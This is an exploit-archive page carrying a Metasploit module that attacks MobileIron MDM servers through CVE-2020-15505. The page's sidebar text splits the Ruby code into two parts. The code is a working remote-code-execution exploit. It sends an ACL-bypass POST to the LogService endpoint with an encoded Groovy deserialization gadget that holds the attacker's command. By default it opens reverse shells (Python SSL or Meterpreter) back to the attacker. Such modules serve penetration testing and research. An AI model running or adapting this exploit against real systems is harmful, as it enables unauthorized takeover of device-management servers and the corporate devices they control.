MobileIron MDM Hessian-Based Java Deserialization Remote Code Execution

Authored by Orange Tsai, wvu, iamnoooob, rootxharsh | Site metasploit.com

Posted Jan 25, 2021

This Metasploit module exploits an ACL bypass in MobileIron MDM products to execute a Groovy gadget against a Hessian-based Java deserialization endpoint.

tags | exploit, java
advisories | CVE-2020-15505
SHA-256 | 5c0db542beea98b42c60393d60ff136e823dca9b8c1933fb194541ebcc3d1e48 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MobileIron MDM Hessian-Based Java Deserialization RCE',
        'Description' => %q{
          This module exploits an ACL bypass in MobileIron MDM products to
          execute a Groovy gadget against a Hessian-based Java deserialization
          endpoint.
        },
        'Author' => [
          'Orange Tsai', # Discovery
          'rootxharsh', # Exploit
          'iamnoooob', # Exploit
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-15505'],
          ['URL', 'https://www.mobileiron.com/en/blog/mobileiron-security-updates-available'],
          ['URL', 'https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html'],
          ['URL', 'https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505']
        ],
        'DisclosureDate' => '2020-09-12', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    # http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Call
    res = send_request_hessian('c')

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200 && res.headers['Content-Type'] == 'application/x-hessian'
      return CheckCode::Safe('ACL bypass failed.')
    end

    CheckCode::Vulnerable('ACL bypass successful.')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    send_request_hessian(groovy_gadget(cmd))
  end

  def send_request_hessian(data)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mifs/.;/services/LogService'),
      'ctype' => 'x-application/hessian',
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    'headers' => {
      'Referer' => rand_text_english(8..42)
    },
    'data' => data
  )
end

def groovy_gadget(cmd)
  # http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Headers
  hessian = "c\x01\x00H\x00\x08#{rand_text_english(8)}"

  # Cale hates me for this
  hessian << Rex::Text.zlib_inflate(Rex::Text.decode_base64(
    <<~HESSIAN
      eNpFj0lPwkAQhkcRBUz8CBe9cfVg+Q3YYDBKIS7h4mnbju2S3W4zuy20v95BQS6bfXffPPPM
      3APMPQwzsr2ugsorHUx3pSxSK+Ae/25LsiWSV+i4CgJ6uXR5aFPk+GQpCxK+57JywQFDVeGV
      wWCOPrdpqK2rCAVcmt8soOu8JC/gltBZXaPwJD1mzRvAnt9PFWHiVY2Hh0cjd8pUJqpMjLT4
      XkqSzEJyh0IvRY0ZM9joYSNrGWhZZAGLJ+jcS6V0iiRgSPiHnhJZ4qkozauAq8Qaw4uuNcM6
      nMexKsYuF3D+nLDlbBK+j1az6Wj5MYmmq/bfOFITCbjGolZkC4OF59g/DnERN7t2WyB9MvhC
      wMDnyi3iDX9y8aY8rrFqSnRrD3dfJ/dQS+f2QaCUTpxso7Zt95yz09EOfgCmKo1k
    HESSIAN
  ))

  hessian.sub("\x00\x0fHACK THE PLANET", "#{[cmd.length].pack('n')}#{cmd}")
end

end
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter
Subscribe to an RSS Feed